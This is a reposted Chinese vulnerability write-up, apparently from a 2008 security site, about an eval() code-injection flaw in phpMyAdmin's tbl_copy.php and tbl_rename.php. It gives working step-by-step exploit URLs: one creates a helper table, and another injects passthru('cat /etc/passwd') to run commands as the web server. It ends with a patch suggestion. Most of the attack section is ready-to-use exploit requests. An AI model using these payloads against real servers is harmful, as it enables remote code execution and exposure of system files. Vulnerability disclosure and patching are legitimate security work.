新手入门入侵实例工具使用安全防范黑客人物软件破解漏洞研究
作者:RHU-TAC编辑员 来自:RHU网络采集 时间:2008-5-23 双击滚屏 收藏本页 字体:大 中 小
点击 查看RHU2004全年文章
涉及程序: myPhpAdmin 描述: myPhpAdmin 执行攻击者任意代码漏洞利用分析 详细: myPhpAdmin 是一个能够通过网络对 MySQL 数据库进行控制的软件。但是发现它存在漏洞,在脚本 ’tbl_copy.php’ 和 ’tbl_rename.php’ 中,存在未经检查的变量。攻击者构造一个 URL 传给这些脚本,能够将 PHP 指令插入 eval() 函数中,从而能以 WEB 服务器身份执行任意代码。 在 ’tbl_copy.php’ 和 ’tbl_rename.php’ 中: tbl_copy.php: eval("\$message = \"$strCopyTableOK\";"); tbl_rename.php: eval("\$message = \"$strRenameTableOK\";"); 如果能够改变 $strCopyTableOK 或 $strRenameTableOK 的内容便可能执行任意 eval() 代码。 但是这样提交 URL: http://victim/phpmyadmin/tbl_copy.php?strCopyTableOK=".passthru(’cat%20/etc/passwd’)." 却得不到预想的结果。 这是因为在到达 eval() 之前,代码便停止运行了: if (isset($new_name) && $new_name!=""){ . $result = mysql_query($sql_structure) or mysql_die(); . $result = mysql_query($query) or mysql_die(); . $result = mysql_query($sql_structure) or mysql_die(); } else mysql_die($strTableEmpty); 如果 mysql_query() 调用失败,mysql_die() 将会被调用。 为了使调用成功,需要一个能创建表的数据库。通过使用 ’tbl_create.php’ 能做到: http://victim/phpmyadmin/tbl_create.php?db=test&table=haxor&query=dummy integer primary key auto_increment&submit=1 现在可以利用 ’tbl_copy.php’ 脚本了: http://victim/phpmyadmin/tbl_copy.php?db=test&table=haxor&new_name=test.haxor2&strCopyTableOK=".passthru(’cat%20/etc/passwd’)." 成功了! 受影响版本: phpMyAdmin versions <= 2.2.0rc3 解决方案: 在 ’tbl_copy.php’ 和 ’tbl_rename.php’ 中注释掉有问题的 eval() 代码行
OVER